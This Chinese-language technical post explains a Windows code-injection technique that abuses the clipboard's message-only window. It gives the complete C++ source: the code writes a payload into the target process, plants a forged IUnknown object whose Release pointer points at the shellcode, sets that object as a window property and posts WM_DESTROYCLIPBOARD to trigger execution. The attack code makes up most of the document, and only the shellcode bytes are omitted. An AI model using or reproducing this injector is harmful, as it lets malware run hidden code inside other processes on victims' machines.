0x00 原理
设置拥有CLIPBRDWNDCLASS
类窗口的ClipboardDataObjectInterface
窗口属性,让其为IUnknown
接口的地址,并且此IUnknown
接口对象的lpVtbl
成员指向IUnknown.QueryInterface
,然后通过向其窗口发送WM_DESTROYCLIPBOARD
消息,将会调用IUnknown.Release
方法
0x01 寻找CLIPBRDWNDCLASS窗口
因为CLIPBRDWNDCLASS
窗口是一个message only window窗口,它是不可见且没有z-order的窗口,不能通过EnumWindows
枚举出该窗口,只能通过FindWindowEx
且第一个参数传入HWND_MESSAGE
参数来获得
// 查找CLIPBRDWNDCLASS窗口类的窗口
HWND hWnd = ::FindWindowEx(HWND_MESSAGE, NULL, TEXT("CLIPBRDWNDCLASS"), NULL);
0x02 向目标进程写入shellcode
使用VirtualAllocEx
与WriteProcessMemory
即可,shellcode的准备不在此处说明
0x03 向目标进程写入IUnknown对象
此处需要先声明伪造的IUnknown
对象
// IUnkonw_t伪接口
typedef struct _IUnknown_t {
ULONG_PTR lpVtbl; // 虚表指针
ULONG_PTR QueryInterface;
ULONG_PTR AddRef;
ULONG_PTR Release;
}IUnknown_t;
向目标进程中申请空间,大小为IUnknown
对象的大小
void *interface_addr = ::VirtualAllocEx(hProcess, NULL, sizeof(IUnknown_t), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
初始化IUnknown
并写入到目标进程中
IUnknown_t i_unknown = { 0 };
i_unknown.lpVtbl = (ULONG_PTR)interface_addr + sizeof(ULONG_PTR); // 虚表指针指向QueryInterface
i_unknown.Release = (ULONG_PTR)payload_addr; // Release方法设置为shellcode的地址
// 写入目标进程中
WriteProcessMemory(hProcess, interface_addr, &i_unknown, sizeof(IUnknown_t), &write_bytes);
0x04 设置ClipboardDataObjectInterface属性并触发shellcode执行
使用SetProp
来设置ClipboardDataObjectInterface
属性,值为写入的IUnknown
对象
SetProp(hWnd, WNDATTR, interface_addr)
最后发送WM_DESTROYCLIPBOARD
消息来触发IUnknown.Release
方法的执行
PostMessage(hWnd, WM_DESTROYCLIPBOARD, 0, 0);
0x05 完整代码
#include <iostream>
#include <string>
#include <Windows.h>
// 窗口类名与属性
#define WNDCLASS TEXT("CLIPBRDWNDCLASS")
#define WNDATTR TEXT("ClipboardDataObjectInterface")
// 自定义IUnkonw_t伪接口
typedef struct _IUnknown_t {
ULONG_PTR lpVtbl; // 虚表指针
ULONG_PTR QueryInterface;
ULONG_PTR AddRef;
ULONG_PTR Release;
}IUnknown_t;
bool clipboard_injection(unsigned char *payload, size_t payload_size)
{
// 查找CLIPBRDWNDCLASS窗口类的窗口
HWND hWnd = ::FindWindowEx(HWND_MESSAGE, NULL, WNDCLASS, NULL);
if(!hWnd) {
return false;
}
// 获取目标窗口pid。并打开进程
DWORD pid = 0;
::GetWindowThreadProcessId(hWnd, &pid);
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if(!hProcess) {
return false;
}
// 向目标进程空间中申请空间,并写入payload
void *payload_addr = ::VirtualAllocEx(hProcess, NULL, payload_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T write_bytes = 0;
if(!::WriteProcessMemory(hProcess, payload_addr, payload, payload_size, &write_bytes)) {
::VirtualFreeEx(hProcess, payload_addr, 0, MEM_DECOMMIT | MEM_RELEASE);
::CloseHandle(hProcess);
return false;
}
// 再次向目标进程中申请空间,初始化IUnkonw_t对象,并写入
void *interface_addr = ::VirtualAllocEx(hProcess, NULL, sizeof(IUnknown_t), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
IUnknown_t i_unknown = { 0 };
i_unknown.lpVtbl = (ULONG_PTR)interface_addr + sizeof(ULONG_PTR);
i_unknown.Release = (ULONG_PTR)payload_addr;
if (!::WriteProcessMemory(hProcess, interface_addr, &i_unknown, sizeof(IUnknown_t), &write_bytes)) {
::VirtualFreeEx(hProcess, payload_addr, 0, MEM_DECOMMIT | MEM_RELEASE);
::VirtualFreeEx(hProcess, interface_addr, 0, MEM_DECOMMIT | MEM_RELEASE);
::CloseHandle(hProcess);
return false;
}
// 设置ClipboardDataObjectInterface属性并触发
if(!SetProp(hWnd, WNDATTR, interface_addr)) {
::VirtualFreeEx(hProcess, payload_addr, 0, MEM_DECOMMIT | MEM_RELEASE);
::VirtualFreeEx(hProcess, interface_addr, 0, MEM_DECOMMIT | MEM_RELEASE);
::CloseHandle(hProcess);
return false;
}
PostMessage(hWnd, WM_DESTROYCLIPBOARD, 0, 0);
// 释放目标进程中申请的空间,在目标未执行完或执行之前就释放会有风险
/*::VirtualFreeEx(hProcess, payload_addr, 0, MEM_DECOMMIT | MEM_RELEASE);
::VirtualFreeEx(hProcess, interface_addr, 0, MEM_DECOMMIT | MEM_RELEASE);*/
::CloseHandle(hProcess);
return true;
}
int main(void)
{
// shellcode自行准备
static unsigned char payload[] = {
// ...
}
if(clipboard_injection(payload, sizeof(payload))) {
std::cout << "Inject Success." << std::endl;
}
system("pause");
return 0;
}